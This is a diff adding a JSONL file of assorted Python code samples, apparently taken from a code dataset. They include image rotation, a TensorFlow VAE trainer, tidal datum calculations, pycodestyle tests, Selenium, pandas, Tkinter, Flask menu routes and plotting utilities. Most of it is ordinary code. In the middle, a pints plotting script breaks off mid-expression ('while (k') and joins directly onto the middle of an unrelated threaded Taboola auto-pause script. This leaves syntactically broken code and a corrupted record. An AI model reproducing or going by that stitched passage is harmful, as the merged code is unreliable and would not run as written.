diff --git "a/5710.jsonl" "b/5710.jsonl" new file mode 100644--- /dev/null +++ "b/5710.jsonl" @@ -0,0 +1,745 @@ +{"seq_id":"604784003","text":"import argparse\nimport os\nimport sys\nfrom distutils.util import strtobool\nfrom pathlib import Path\n\nfrom tqdm import tqdm\n\nfrom image_transformer import ImageTransformer\nfrom util import save_image\n\n# Usage:\n# Change main function with ideal arguments\n# then\n# python demo.py [name of the image] [degree to rotate] ([ideal width] [ideal height])\n# e.g.,\n# python demo.py images/000001.jpg 360\n# python demo.py images/000001.jpg 45 500 700\n#\n# Parameters:\n# img_path : the path of image that you want rotated\n# shape : the ideal shape of input image, None for original size.\n# theta : the rotation around the x axis\n# phi : the rotation around the y axis\n# gamma : the rotation around the z axis (basically a 2D rotation)\n# dx : translation along the x axis\n# dy : translation along the y axis\n# dz : translation along the z axis (distance to the image)\n#\n# Output:\n# image : the rotated image\n\n\ndef parse_args():\n # Handle args parsing\n parser = argparse.ArgumentParser(description=\"Rotate along X axis\")\n parser.add_argument(\n \"--dest\",\n dest=\"dest\",\n metavar=\"Destination\",\n required=True,\n type=str,\n help=\"Destination path, subfolder structure will be restored\",\n )\n parser.add_argument(\n \"--src\",\n dest=\"src\",\n metavar=\"Source\",\n type=str,\n help=\"Path to source directory, script runs over subfolders\",\n )\n\n parser.add_argument(\n \"--degree\",\n metavar=\"Degree\",\n dest=\"degree\",\n type=int,\n help=\"Up to how many degrees should the image be rotated (x-axis)\",\n )\n parser.add_argument(\n \"--negative\",\n metavar=\"Negative\",\n dest=\"negative\",\n type=bool,\n default=False,\n help=\"Also rotate the image in the negative direction?\",\n )\n\n args = parser.parse_args()\n\n return args\n\n\ndef loop(start, end, it, directory, image):\n for ang in range(start, end, 1):\n Path(args.dest).joinpath(f\"{str(ang).zfill(3)}_degree\", directory.name).mkdir(\n parents=True, exist_ok=True\n )\n rotated_img = it.rotate_along_axis(phi=ang, dx=0)\n save_image(\n str(\n Path(args.dest).joinpath(\n f\"{str(ang).zfill(3)}_degree\", directory.name, image.name\n )\n ),\n rotated_img,\n )\n\n\ndef main(args):\n # Iterate through rotation range\n start = 0\n end = args.degree\n neg_start = 360 - args.degree\n neg_end = 360\n\n num_dir = len([x for x in Path(args.src).iterdir() if x.is_dir()])\n for idx, directory in tqdm(\n enumerate([x for x in Path(args.src).iterdir() if x.is_dir()])\n ):\n files = [x for x in directory.glob(f\"*.ppm\") if x.is_file()]\n for image in files:\n # Make output dir\n it = ImageTransformer(str(image), None)\n # Rotate in positive degrees\n loop(start, end, it, directory, image)\n\n # If negative is true, rotate in negative direction too\n if args.negative:\n loop(neg_start, neg_end, it, directory, image)\n\n\nif __name__ == \"__main__\":\n args = parse_args()\n main(args)\n","sub_path":"code/perspective/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"619912856","text":"\nfrom __future__ import division, print_function, absolute_import\n\nimport tensorflow as tf\n\nslim = tf.contrib.slim\nfrom utils.utils import *\nfrom generative_classifier.generator_models import *\nfrom utils.plot_figures import *\n\n\nclass VAE_subnet(object):\n def __init__(self):\n # Launch the graph\n FLAGS = tf.app.flags.FLAGS\n tfconfig = tf.ConfigProto(\n allow_soft_placement=True,\n log_device_placement=True,\n )\n tfconfig.gpu_options.allow_growth = True\n self.sess = tf.Session(config=tfconfig)\n\n self.is_vae = True\n\n # Parameters\n self.learning_rate = 0.001\n self.training_epochs = 500\n self.batch_size = 32\n self.display_step = 1\n self.examples_to_show = 10\n self.num_net = 5\n self.latent_dim = 128\n\n # Network Parameters\n self.imsize = 96 # SmallNORB data input (img shape: 96*96)\n\n self.logdir, self.modeldir = creat_dir('VAE_sbunet')\n\n # tf Graph input (only pictures)\n self.X = tf.placeholder(\"float\", [self.batch_size, self.imsize, self.imsize, 1])\n self.label = tf.placeholder(\"float\", [self.batch_size, self.num_net])\n\n self.encoder = norb96_encoder\n self.decoder = norb96_decoder\n\n\n\n def build_training_model(self):\n # Construct model\n self.enc_output = self.encoder(self.X, self.num_net*self.latent_dim)\n self.mean_var = self.enc_output['end']\n self.sample_sub, self.kld_sub = mysample(self.mean_var, self.num_net, is_vae=self.is_vae)\n\n self.out_sum, self.out_sub = self.decoder(self.sample_sub, self.label)\n self.rec = tf.sigmoid(self.out_sum)\n\n # Define loss and optimizer, minimize the squared error\n self.rec_err = tf.reduce_mean(tf.abs(self.rec-self.X))\n self.rec_cost = self.imsize*self.imsize*tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(labels=self.X, logits=self.out_sum))\n if self.is_vae:\n self.kl_mean = tf.reduce_mean(list2tensor(self.kld_sub))\n self.optimizer = tf.train.AdamOptimizer(self.learning_rate).minimize(self.rec_cost + self.kl_mean)\n else:\n self.kl_mean = tf.constant(0.)\n self.optimizer = tf.train.AdamOptimizer(self.learning_rate).minimize(self.rec_cost)\n\n self.summary_writer = tf.summary.FileWriter(self.logdir)\n self.summary_op_train = tf.summary.merge([\n tf.summary.scalar(\"train/kl_mean_train\", self.kl_mean),\n tf.summary.scalar(\"train/rec_cost_train\", self.rec_cost),\n tf.summary.scalar(\"train/rec_err\", self.rec_err),\n tf.summary.scalar(\"train/lr\", self.learning_rate),\n # tf.summary.scalar(\"grad/grad1\", grad1),\n # tf.summary.scalar(\"grad/grad2\", grad2),\n # tf.summary.scalar(\"grad/grad3\", grad3),\n # tf.summary.scalar(\"grad/grad4\", grad4),\n # tf.summary.scalar(\"grad/grad5\", grad5),\n # tf.summary.scalar(\"grad/grad6\", grad6),\n ])\n\n self.summary_op_test = tf.summary.merge([\n tf.summary.scalar(\"test/kl_mean_test\", self.kl_mean),\n tf.summary.scalar(\"test/rec_cost_test\", self.rec_cost),\n tf.summary.scalar(\"test/rec_err\", self.rec_err),\n ])\n\n\n\n def optimizing(self):\n # Initializing the variables\n self.init = tf.global_variables_initializer()\n self.sess.run(self.init)\n\n from data.data_loader import smallnorb\n self.data_dir = '/home/exx/Documents/Hope/generative_classifier/data/'\n self.train_img, self.train_label, self.test_img, self.test_label = smallnorb(self.data_dir)\n total_batch = int(len(self.train_img)/self.batch_size)\n # Training cycle\n for epoch in range(self.training_epochs):\n # Loop over all batches\n for i in range(total_batch):\n batch_xs = self.train_img[i*self.batch_size:(i+1)*self.batch_size]\n batch_ys = self.train_label[i*self.batch_size:(i+1)*self.batch_size]\n feed_dict_train = {self.X: batch_xs.reshape(self.batch_size, self.imsize, self.imsize, 1), self.label:batch_ys}#[:,0:1]\n _, rec_cost_val, kld_val, rec_err = self.sess.run([self.optimizer, self.rec_cost, self.kl_mean, self.rec_err], feed_dict_train)\n\n # Display logs per epoch step\n if epoch % self.display_step == 0:\n batch_xs = self.test_img[i*self.batch_size:(i+1)*self.batch_size]\n batch_ys = self.test_label[i*self.batch_size:(i+1)*self.batch_size]\n feed_dict_test = {self.X: batch_xs.reshape(self.batch_size, self.imsize, self.imsize, 1), self.label:batch_ys}\n test_rec_cost_val, test_kld_val, test_rec_err = self.sess.run([self.rec_cost, self.kl_mean, self.rec_err], feed_dict_test)\n print(\"Epoch:\", '%04d' % (epoch+1),\n \"rec_cost=\", \"{:.9f}\".format(rec_cost_val),\n \"test_rec_cost=\", \"{:.9f}\".format(test_rec_cost_val),\n \"kld=\", \"{:.9f}\".format(kld_val),\n \"test_kld=\", \"{:.9f}\".format(test_kld_val),\n \"rec_err=\", \"{:.9f}\".format(rec_err),\n \"test_rec_err=\", \"{:.9f}\".format(test_rec_err),\n )\n summary_train = self.sess.run(self.summary_op_train, feed_dict_train)\n summary_test = self.sess.run(self.summary_op_test, feed_dict_test)\n self.summary_writer.add_summary(summary_train, epoch)\n self.summary_writer.add_summary(summary_test, epoch)\n self.summary_writer.flush()\n\n if epoch % 50 == 0:\n self.saver = tf.train.Saver()\n snapshot_name = \"%s_%s\" % ('experiment', str(epoch))\n fn = self.saver.save(self.sess, \"%s/%s.ckpt\" % (self.modeldir, snapshot_name))\n print(\"Model saved in file: %s\" % fn)\n\n print(\"Optimization Finished!\")\n\n\nif __name__ == \"__main__\":\n\n with tf.variable_scope('VAE_subnet', reuse=False):\n with tf.device('/device:GPU:2'):\n vaesub = VAE_subnet()\n vaesub.build_training_model()\n vaesub.optimizing()\n\n feed_dict = {\n vaesub.X: vaesub.test_img[:vaesub.batch_size].reshape(vaesub.batch_size, vaesub.imsize, vaesub.imsize, 1),\n vaesub.label: vaesub.test_label[:vaesub.batch_size]}\n visualize_generator_performance(vaesub, feed_dict, vaesub.modeldir+'/test.png')\n print('done')\n","sub_path":"generative_classifier/VAE_subnet_norb.py","file_name":"VAE_subnet_norb.py","file_ext":"py","file_size_in_byte":6539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"471289190","text":"import numpy as np\nimport scipy\nimport matplotlib.pyplot as plt\n################################################\nfrom scipy.signal import argrelextrema\n\n\n#################################################\n# input: \n# ts, time series of a tidal wave \n# outpout:\n# MTL,MHHW,MHW,MLW,MLLW, tidal water levels (see their definitions in NOAA\n# Tides and Currents webpage)\n\ndummy_x = np.arange (-17,18,0.1)\nts = np.sin(dummy_x ) + np.sin(2*dummy_x) +3\n\nplt.plot(dummy_x,ts,'r--',linewidth=2.0) ##\nplt.grid() ##\nplt.show() ##\n\n# find mean\nMTL = ts.mean()\n# find peak location and anti peak location\npks_loc = argrelextrema(ts, np.greater)\na_pks_loc = argrelextrema(-ts, np.greater)\n# find peak and anti_peak\npks = ts[pks_loc]\napks = ts[a_pks_loc]\n# select every one another\npks_odd = pks[::2]\npks_even = pks[1::2]\napks_odd = apks[::2]\napks_even = apks[1::2]\n##\nif len(pks_odd)==len(pks_even):\n dummy_1 = np.maximum(pks_odd,pks_even)\n dummy_2 = np.minimum(pks_odd,pks_even)\nelif len(pks_odd)>len(pks_even):\n #pks_even.insert(len(pks_even),pks_even[-1])\n pks_even = np.append(pks_even,pks_even[-1]) \n dummy_1 = np.maximum(pks_odd,pks_even)\n dummy_2 = np.minimum(pks_odd,pks_even)\nelse:\n #pks_odd.insert(len(pks_odd),pks_odd[-1])\n pks_odd = np.append(pks_odd,pks_odd[-1]) \n dummy_1 = np.maximum(pks_odd,pks_even)\n dummy_2 = np.minimum(pks_odd,pks_even)\n\nMHHW = dummy_1.mean()\nMHW = dummy_2.mean()\n##\nif len(apks_odd)==len(apks_even):\n dummy_3 = np.maximum(-apks_odd,-apks_even)\n dummy_4 = np.minimum(-apks_odd,-apks_even)\nelif len(apks_odd)>len(apks_even):\n apks_even = np.append(apks_even,apks_even[-1]) \n dummy_3 = np.maximum(-apks_odd,-apks_even)\n dummy_4 = np.minimum(-apks_odd,-apks_even)\nelse:\n apks_odd = np.append(apks_odd,apks_odd[-1])\n dummy_3 = np.maximum(-apks_odd,-apks_even)\n dummy_4 = np.minimum(-apks_odd,-apks_even)\n\nMLW = -dummy_4.mean()\nMLLW = -dummy_3.mean()\n\n#def tidal_datum_calc(ts):\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n ","sub_path":"tidal_datum_subroutine.py","file_name":"tidal_datum_subroutine.py","file_ext":"py","file_size_in_byte":2032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"626545521","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport pints\nimport pints.plot\nimport os\nimport scipy.stats as stats\nfrom matplotlib import gridspec\nimport matplotlib.ticker as ticker\nfiles=os.listdir('.')\nfig=plt.figure(0)\nlists=[]\nextension=\".10kpoints\"\nchain_select=0\nfile_list=[]\nvalue_list=[]\ndef sort_by_idx(list_for_sort, indexes):\n sorted_list=[list_for_sort[x] for x in indexes]\n return sorted_list\nfor j in range(0, len(files)):\n if files[j][-len(extension):-1]== extension[:-1]:\n file_list.append(files[j])\n value_list.append(files[j][:files[j].index(\"_\")])\nprint(file_list)\nint_values=[float(x) for x in value_list]\nsort_index=np.argsort(int_values)\nsorted_files=sort_by_idx(file_list, sort_index)\nsorted_values=sort_by_idx(value_list, sort_index)\nsorted_uniques= np.sort(list(set(int_values)))\nk=0\ntemp=\"\"\nparam_select=1\nnum_plots=len(sorted_uniques)\nmean_values=np.zeros(num_plots)\nstd_values=np.zeros(num_plots)\nlabels=[]\nstds=[]\nk_chain=np.array([])\ntest_stat=np.zeros(num_plots)\nax1=plt.subplot2grid((2,num_plots), (0,0), colspan=num_plots)\nfor i in range(0, num_plots):\n lists.append(plt.subplot2grid((2,num_plots), (1,i)))\n#plt.subplot(\nfor i in range(0, num_plots):\n while (k 0:\r\n\tworkQueue = queue.Queue()\r\n\tqueueLock = threading.Lock()\r\n\tthreads = []\r\n\r\n\t#Create the threads. \r\n\tfor OneThread in range(0, 10):\r\n\t\tthread = TaboolaAutoPause(OneThread, str(OneThread)+\"_Worker\", workQueue)\r\n\t\tthread.start()\r\n\t\tthreads.append(thread)\r\n\r\n\tqueueLock.acquire()\t\r\n\tfor Index, OneRow in PauseCandidates.iterrows():\r\n\t\tprint(\"Pausing:\", OneRow['Publisher'], Index, \"of\", Total)\r\n\t\tworkQueue.put(OneRow)\r\n\tqueueLock.release()\r\n\r\n\ttry:\r\n\t\twhile not workQueue.empty():\r\n\t\t\tprint(workQueue.qsize(), \"Tasks Left\")\r\n\t\t\ttime.sleep(1)\r\n\t\t\tpass\r\n\t\t\r\n\texcept (KeyboardInterrupt, SystemExit):\r\n\t\texitFlag = 1\r\n\r\n\t\tfor OneThread in threads:\r\n\t\t\tOneThread.join()\r\n\t\t\t\r\n\texitFlag = 1\r\n\r\n\tfor OneThread in threads:\r\n\t\tOneThread.join()\r\n\tprint(\"Exiting Main Thread\")\r\n","sub_path":"airflow/PythonCode/TaboolaAutoPause_MT.py","file_name":"TaboolaAutoPause_MT.py","file_ext":"py","file_size_in_byte":5034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"556737315","text":"import unittest\nimport os\n\n# If this import fails, do `pip3 install [--user] pycodestyle`\nimport pycodestyle\n\n# Please do not increase this number. Style warnings should DECREASE,\n# not increase.\nALLOWED_ERRORS = 432\n\n# Allow longer lines. The default is 79, which allows the 80th\n# character to be a line continuation symbol. Here, we increase the\n# line length to (effectively) 120.\nMAX_LINE_LENGTH = 119\n\n# List of files and directories to exclude from style checks\nEXCLUDE = ['build']\n\n# Report custom failure messages instead of default assertion errors\nunittest.TestCase.longMessage = False\n\n# Verbose option will explicitly print all style failures\nif 'VERBOSE' in os.environ.keys():\n QUIET = not os.environ['VERBOSE']\nelse:\n QUIET = True\n\n\nclass TestStyle(unittest.TestCase):\n\n def test_style(self):\n \"\"\"Run pycodestyle on the directory tree.\"\"\"\n # If there are files that don't have the '.py' extension, add\n # them to dirs_and_files to include them in the style checks.\n dirs_and_files = ['.']\n # Allow 120 character lines. The default is 80, but that's a\n # pretty narrow window size these days.\n sg = pycodestyle.StyleGuide(quiet=QUIET,\n max_line_length=MAX_LINE_LENGTH,\n exclude=EXCLUDE)\n report = sg.check_files(dirs_and_files)\n self.assertEqual(report.total_errors, ALLOWED_ERRORS,\n msg='{0} style violations were found. Expected {1}'.format(report.total_errors,\n ALLOWED_ERRORS))\n\n def test_clean(self):\n \"\"\"Ensure that warning free files stay that way.\n \"\"\"\n # List all clean directories and files\n # Keep these sorted\n dirs_and_files = [\n 'setup.py',\n 'synbiohub_adapter/__init__.py',\n 'tests/__init__.py',\n 'tests/test_pycodestyle.py'\n ]\n sg = pycodestyle.StyleGuide(quiet=QUIET,\n max_line_length=MAX_LINE_LENGTH,\n exclude=EXCLUDE)\n for f in dirs_and_files:\n report = sg.check_files([f])\n self.assertEqual(report.total_errors, 0,\n msg='New style violation introduced in previously clean file {}'.format(f))\n\n def assert_clean_report(self, code, message):\n \"\"\"Verify that no erros of the given pycodestyle code exist in the\n codebase.\n\n \"\"\"\n dirs_and_files = ['.']\n sg = pycodestyle.StyleGuide(quiet=QUIET,\n max_line_length=MAX_LINE_LENGTH,\n exclude=EXCLUDE,\n select=[code])\n report = sg.check_files(dirs_and_files)\n self.assertEqual(report.total_errors, 0,\n msg=message)\n\n def test_indentation(self):\n self.assert_clean_report('E1', \"Indentation style errors ('E1xx') exist\")\n\n def test_whitespace(self):\n self.assert_clean_report('E202', \"whitespace before ')'\")\n self.assert_clean_report('E203', \"whitespace before ':'\")\n self.assert_clean_report('E225', \"missing whitespace around operator\")\n self.assert_clean_report('E226', \"missing whitespace around arithmetic operator\")\n self.assert_clean_report('E251', \"unexpected spaces around keyword / parameter equals\")\n self.assert_clean_report('E261', \"at least two spaces before inline comment\")\n self.assert_clean_report('E271', \"multiple spaces after keyword\")\n\n def test_blank_line(self):\n self.assert_clean_report('E301', \"expected 1 blank line, found 0\")\n self.assert_clean_report('E303', \"too many blank lines (2)\")\n self.assert_clean_report('E305', \"expected 2 blank lines after class or function definition, found 1\")\n\n def test_import(self):\n self.assert_clean_report('E4', \"Import style errors ('E4*') exist\")\n\n def test_statement(self):\n self.assert_clean_report('E711', \"comparison to None should be 'if cond is not None:'\")\n self.assert_clean_report('E713', \"test for membership should be 'not in'\")\n\n def test_all_warnings(self):\n self.assert_clean_report('W', \"Style warnings ('W*') exists\")\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/test_pycodestyle.py","file_name":"test_pycodestyle.py","file_ext":"py","file_size_in_byte":4401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"350312522","text":"# 给定 S 和 T 两个字符串,当它们分别被输入到空白的文本编辑器后,判断二者是否相等,并返回结果。 # 代表退格字符。\n# Difficulty: easy\nclass Solution:\n def backspaceCompare(self, S: str, T: str) -> bool:\n '''double stack'''\n data = []\n helper = []\n for char in S:\n if char == '#':\n if data:\n data.pop()\n else:\n data.append(char)\n for char in T:\n if char == '#':\n if helper:\n helper.pop()\n else:\n helper.append(char)\n return data == helper\n # analyse: time complexity: O(n); space complexity: O(n)\n\n\nif __name__ == \"__main__\":\n S = \"y#fo##f\"\n T = \"y#f#o##f\"\n solu = Solution()\n print(solu.backspaceCompare(S, T))","sub_path":"stack-typical_application/844-比较含退格的字符串.py","file_name":"844-比较含退格的字符串.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"643501059","text":"from selenium import webdriver\nimport time\nimport os\nif 'HTTP_PROXY' in os.environ: del os.environ['HTTP_PROXY']\n\n\ndriver = webdriver.Chrome()\nfile_path = 'file:///' + os.path.abspath('alert.html')\ndriver.get(file_path)\ndriver.implicitly_wait(10)\n\n# 点击连接弹出alert\ndriver.find_element_by_id('tooltip').click()\n\ntry:\n alert = driver.switch_to_alert()\n alert.accept()\nexcept:\n print(\"no alert accept\")\n\ntime.sleep(2)\n\ndriver.quit()\n","sub_path":"24alert.py","file_name":"24alert.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"429684511","text":"import glob, os\nimport pandas\n\ninput_folder = \"input_files/\"\noutput_file = \"output_files/13.p_output.xls\"\n\nall_workbooks = glob.glob(os.path.join(input_folder,'*.xls*'))\ndata_frames = []\nfor workbook in all_workbooks:\n all_worksheets = pandas.read_excel(workbook, sheet_name=None, index_col=None)\n for worksheet_name, data in all_worksheets.items():\n data_frames.append(data)\nall_data_concatenated = pandas.concat(data_frames, axis=0, ignore_index=True)\n\nwriter = pandas.ExcelWriter(output_file)\nall_data_concatenated.to_excel(writer, sheet_name=\"all_data_all_workbooks\", index=False)\nwriter.save()","sub_path":"03_Data Science/2.Analysis/2.EXCEL/13.pandas_concat_data_from_multiple_workbooks.py","file_name":"13.pandas_concat_data_from_multiple_workbooks.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"631602410","text":"# Importing the functionality file of this Feature\r\nfrom communications import sendMsg as smg\r\nfrom tkinter import *\r\nfrom tkinter import messagebox\r\nimport datetime,time\r\nimport threading\r\n\r\nglobal leng\r\nleng=0\r\n\r\n#The thread's actual work is performed here\r\ndef work(txtArea,recep):\r\n global leng\r\n while(1):\r\n #print(leng)\r\n file=open(\"comm.txt\",\"r\")\r\n lines=file.readlines()\r\n if(len(lines)!=leng):\r\n txtArea.delete('1.0',END)\r\n leng=len(lines) \r\n for count,l in enumerate(lines):\r\n if(str(recep) in l):\r\n txtArea.insert(END,lines[count+1])\r\n file.close()\r\n\r\n#Creating the GUI and starting the thread\r\ndef message(name,recepient):#name and recepient has the name and the contact number of the reciever\r\n #Set flag to 1 to tell the application that the messaging pane is open\r\n #and messages are to be shown on message text area\r\n flag=\"1\"\r\n file=open(\"flag.txt\",\"w\")\r\n file.write(flag)\r\n file.close()\r\n root=Tk()\r\n root.title(\"Message\")\r\n label=Label(root,text=name)\r\n label.grid(row=0,column=0)\r\n label=Label(root,text=\"Message:\")\r\n label.grid(row=1,column=0)\r\n txtArea=Text(root)\r\n txtArea.grid(row=2,column=0)\r\n threading.Timer(1.0,work,args=(txtArea,recepient)).start()\r\n #Creats and Starts the thread after 1 second\r\n msg=Entry(root)\r\n msg.grid(row=3,column=0)\r\n sendBtn=Button(root,text=\"Send Message\",command=lambda:smg.sendMsg(msg,recepient,name))\r\n sendBtn.grid(row=4,column=0)\r\n Btn=Button(root,text=\"Back\",command=lambda:root.destroy())\r\n Btn.grid(row=4,column=1)\r\n root.mainloop()\r\n \r\ndef showMsg(msg):\r\n messagebox.showinfo(msg[:11],msg[11:])\r\n \r\n","sub_path":"communications/sendMsgGUI.py","file_name":"sendMsgGUI.py","file_ext":"py","file_size_in_byte":1761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"197639904","text":"from app import app\nfrom flask import render_template, redirect, request, url_for, flash\nfrom services.menuservice import *\nfrom services.restaurantservice import get_restaurant\n\n\n@app.route('/restaurant//menu')\ndef restaurantMenu(restaurant_id):\n menu = get_restaurant_menu(restaurant_id)\n restaurant = get_restaurant(restaurant_id)\n return render_template('menu.html', menu=menu, restaurant=restaurant)\n\n\n@app.route('/restaurant//menuitem/new')\ndef newMenu(restaurant_id):\n restaurant = get_restaurant(restaurant_id)\n courses = get_all_courses()\n return render_template('newMenu.html', restaurant=restaurant, courses=courses)\n\n\n@app.route('/restaurant//menuitem/new', methods=['POST'])\ndef newMenuPOST(restaurant_id):\n save_menu_item(request, restaurant_id)\n flash('new menu item was added')\n return redirect(url_for('restaurantMenu', restaurant_id=restaurant_id))\n\n\n@app.route('/restaurant//menuitem//edit')\ndef editMenu(restaurant_id, item_id):\n courses = get_all_courses()\n restaurant = get_restaurant(restaurant_id)\n menuitem = get_menu_item(item_id)\n return render_template('editMenu.html', courses=courses, restaurant=restaurant, menuitem=menuitem)\n\n\n@app.route('/restaurant//menuitem//edit', methods=['POST'])\ndef editMenuPOST(restaurant_id, item_id):\n edit_menu_item(request, item_id)\n flash('menu item successfully edited')\n return redirect(url_for('restaurantMenu', restaurant_id=restaurant_id))\n\n\n@app.route('/restaurant//menuitem//delete')\ndef deleteMenu(restaurant_id, item_id):\n restaurant = get_restaurant(restaurant_id)\n menuitem = get_menu_item(item_id)\n return render_template('deleteMenu.html', restaurant=restaurant, menuitem=menuitem)\n\n\n@app.route('/restaurant//menuitem//delete', methods=['POST'])\ndef deleteMenuPOST(restaurant_id, item_id):\n delete_menu_item(item_id)\n flash('menu item successfully deleted')\n return redirect(url_for('restaurantMenu', restaurant_id=restaurant_id))\n\n","sub_path":"controllers/menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":2159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"446158907","text":"from math import ceil\n\nimport matplotlib.pyplot as pyplot\nimport streamlit as st\n\nfrom autumn.tools.plots.model.plots import _plot_outputs_to_axis, _plot_targets_to_axis\nfrom dash.dashboards.model_results.plots import model_output_selector\n\nPLOT_FUNCS = {}\n\n\ndef multi_country_manual(plotter, scenarios, targets, app_name, region_names):\n\n # Set up interface\n available_outputs = [o[\"output_key\"] for o in targets[0].values()]\n chosen_output = st.sidebar.selectbox(\"Select calibration target\", available_outputs)\n\n fig, axes, _, n_rows, n_cols, indices = plotter.get_figure(len(region_names), share_xaxis=True)\n\n for i_region in range(n_rows * n_cols):\n axis = axes[indices[i_region][0], indices[i_region][1]]\n\n if i_region < len(region_names):\n # plot the scenarios\n legend = []\n for idx, scenario in enumerate(reversed(scenarios[i_region])):\n color_idx = len(scenarios[i_region]) - idx - 1\n _plot_outputs_to_axis(axis, scenario, chosen_output, color_idx=color_idx, alpha=0.7)\n legend.append(scenario.name)\n # axis.legend(legend)\n\n # plot the targets\n target_times = targets[i_region][chosen_output][\"times\"]\n target_values = targets[i_region][chosen_output][\"values\"]\n _plot_targets_to_axis(axis, target_values, target_times)\n\n axis.set_title(region_names[i_region], fontsize=10)\n\n else:\n axis.axis(\"off\")\n\n fig.set_figwidth(10)\n\n filename = f\"multi-manual-{chosen_output}\"\n title_text = f\"Model outputs for {chosen_output}\"\n plotter.save_figure(fig, filename=filename, title_text=title_text)\n\n\nPLOT_FUNCS[\"Multi-country manual\"] = multi_country_manual\n","sub_path":"autumn/dashboards/multicountry_manual/plots.py","file_name":"plots.py","file_ext":"py","file_size_in_byte":1758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"49708488","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n# Value preparing\r\nx = np.array((1, 2, 3, 4, 5, 6))\r\ny = np.array((.93, 1.3, 1.96, 2.1, 2.04, 2.7))\r\n\r\n# Making Polynomial 1\r\np, v = np.polyfit(x, y, deg=1, cov=True)\r\npolynomial_1 = np.poly1d(p)\r\ny_p1 = polynomial_1(x)\r\n# Making Polynomial 2\r\np2, v = np.polyfit(x, y, deg=2, cov=True)\r\npolynomial_2 = np.poly1d(p2)\r\ny_p2 = polynomial_2(x)\r\n\r\n# Plotting\r\nplt.plot(x, y, '--o', label=r'$y$')\r\nplt.plot(x, y_p1, 'r-', label=r'$ax+b$')\r\nplt.plot(x, y_p2, label=r'$ax^2+bx+c$')\r\nplt.legend(loc='best')\r\nplt.xlim([x[0]-1, x[-1]+1])\r\nplt.show()\r\n","sub_path":"week04/ex5.py","file_name":"ex5.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"443353797","text":"from core.entity.game_object import GameObject\nfrom core.state.material_animation_state import MaterialAnimationState\n\n\nclass MaterialAnimationObject(GameObject):\n def __init__(self, res_info, x, y, z=0):\n super().__init__(x, y, z)\n self.res_info = res_info\n self.direction = 0\n self.inited = True\n self.ready = True\n\n\ndef material_animation_object_factory(res_info, x, y, z=0):\n obj = MaterialAnimationObject(res_info, x, y, z)\n obj.init_state(MaterialAnimationState())\n return obj\n","sub_path":"core/entity/material_animation_object.py","file_name":"material_animation_object.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"79312511","text":"# coding: utf-8\n#\n# Copyright 2019 Geocom Informatik AG / VertiGIS\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n# http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"\nThis module provides a standardized alternative to the built-in Python Logger (``logging`` package).\n\"\"\"\n\nimport atexit as _ae\nimport errno as _errno\nimport io as _io\nimport logging as _logging\nimport os as _os\nimport sys\nimport tempfile as _tf\nfrom datetime import datetime as _dt\nfrom logging import handlers as _handlers\n\nimport gpf.common.const as _const\nimport gpf.common.iterutils as _iter\nimport gpf.common.textutils as _tu\nimport gpf.common.validate as _vld\nfrom gpf import arcpy as _arcpy\n\n_LOGLINE_LENGTH = 80\n_LOGNAME_LENGTH = 15\n_LOG_FMT_LF = '%s\\n' # Default line-endings (i.e. Unix)\n_LOG_FMT_CRLF = '%s\\r\\n' # Windows line-endings (carriage return)\n_LOG_STD_EXT = '.log'\n_LOG_ALT_EXT = '.txt'\n\n# Supported log levels\nLOG_DEBUG = _logging.DEBUG\nLOG_INFO = _logging.INFO\nLOG_WARNING = _logging.WARNING\nLOG_ERROR = _logging.ERROR\nLOG_CRITICAL = _logging.CRITICAL\n\n\nclass _FileLogHandler(_handlers.RotatingFileHandler):\n \"\"\"\n Custom file handler that inherits from ``RotatingFileHandler``.\n\n By default, the preferred system encoding is used (often set to CP1252 or UTF-8).\n\n When a :class:`gpf.loggers.Logger` or :class:`gpf.loggers.ArcLogger` is set up with this\n file handler, new logger instances (e.g. in other modules or script) will use the same file handler if\n these loggers are initialized using the same *filename*.\n\n :param filename: Log file name or absolute or relative path to the log file.\n For more information, look at the :class:`gpf.loggers.Logger` documentation.\n :param time_tag: If set to ``True`` (default), a _YYMMDD_HHMMSS timestamp will be appended to *filename*.\n When set to ``False``, *filename* will not receive a timestamp.\n :param encoding: The optional encoding to use for the output file. Defaults to the preferred system encoding.\n :type filename: str, unicode\n :type time_tag: bool\n :type encoding: str\n\n .. warning:: The user must have write access to the specified output directory.\n \"\"\"\n\n __UFS = unicode(_LOG_FMT_LF)\n\n def 